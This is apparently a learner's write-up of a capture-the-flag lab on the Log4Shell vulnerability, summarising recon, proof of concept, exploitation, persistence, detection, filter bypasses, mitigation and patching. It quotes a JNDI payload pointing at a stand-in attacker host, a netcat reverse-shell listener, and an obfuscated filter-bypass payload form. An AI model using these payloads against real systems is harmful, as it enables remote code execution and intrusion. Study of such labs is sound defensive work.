saru1718/thm---solar-exploiting-log-4jThis room is based on exploiting the notorious Log4j vulnerability ( CVE-2021-44228), also referred to as the Log4Shell. The weakness enables attackers to execute a remote code via injection of the malicious payloads into the log messages.
This room is based on exploiting the notorious Log4j vulnerability ( CVE-2021-44228), also referred to as the Log4Shell. The weakness enables attackers to execute a remote code via injection of the malicious payloads into the log messages.
TASK 1 – CVE-2021-44228 INTRODUCTION
In this task, I learned about the Log4Shell vulnerability (CVE-2021-44228) in Apache Log4j. • Log4j is a widely used Java logging library. • The vulnerability allows remote code execution (RCE) via JNDI lookups. • Attackers can inject payloads like: ${jndi:ldap://attacker.com/a} • When logged, the server contacts the attacker-controlled server and executes malicious code. 👉 This showed how dangerous logging user input without sanitization can be.
TASK 2 – RECONNAISSANCE
Here, I started interacting with the target system. • Accessed the web application. • Identified input fields and headers that might be logged. • Observed how the application processes user input. 👉 Goal: Find where Log4j is used and where payloads can be injected.
TASK 3 – DISCOVERY
In this step, I confirmed the vulnerability. • Tested payload injection in headers like: • User-Agent • X-Forwarded-For • Checked for outbound connections or responses. 👉 This helped verify that the application is vulnerable to Log4Shell.
TASK 4 – PROOF OF CONCEPT
I created a working PoC to demonstrate the vulnerability. • Set up a listener/server to detect callbacks. • Injected a JNDI payload. • Observed that the target made a request to my server. 👉 This confirmed remote interaction → vulnerability is exploitable.
TASK 5 – EXPLOITATION
Here, I escalated from PoC to full exploitation. • Hosted a malicious payload (Java class or script). • Used JNDI injection to force the server to load it. • Gained a reverse shell. Example: nc -lvnp 4444 👉 Successfully achieved remote code execution.
TASK 6 – PERSISTENCE
After gaining access, I ensured continued access. • Created backdoors or added SSH keys. • Modified system configurations if needed. 👉 This ensures access even after reboot or session loss.
TASK 7 – DETECTION
This task focused on identifying attacks. • Learned how Log4j exploits appear in logs. • Indicators: • ${jndi:ldap://...} patterns • Suspicious outbound LDAP/DNS traffic 👉 Important for blue teams to detect exploitation attempts.
TASK 8 – BYPASSES
Here, I explored how attackers bypass filters. • Obfuscation techniques: ${${lower:j}${lower:n}${lower:d}${lower:i}:...} • Encoding payloads to evade detection. 👉 Shows that simple filtering is not enough.
TASK 9 – MITIGATION
Learned how to reduce risk without full patching. • Disable JNDI lookups • Restrict outbound network connections • Use WAF rules 👉 Temporary defenses before proper patching.
TASK 10 – PATCHING
Focused on permanent fixes. • Update Log4j to: • 2.17.0 or later • Remove vulnerable classes: JndiLookup.class 👉 Proper patching completely eliminates the vulnerability.
TASK 11 – CREDITS AND AUTHOR'S NOTES
• Acknowledgment of the room creators. • Summary of the learning objectives. • Final insights into the impact of Log4Shell.
FINAL THOUGHTS
This room gave me a full understanding of: • How a critical real-world vulnerability works • How attackers exploit it step-by-step • How defenders detect and prevent it 👉 It was a great hands-on experience with one of the most impactful vulnerabilities in cybersecurity history.
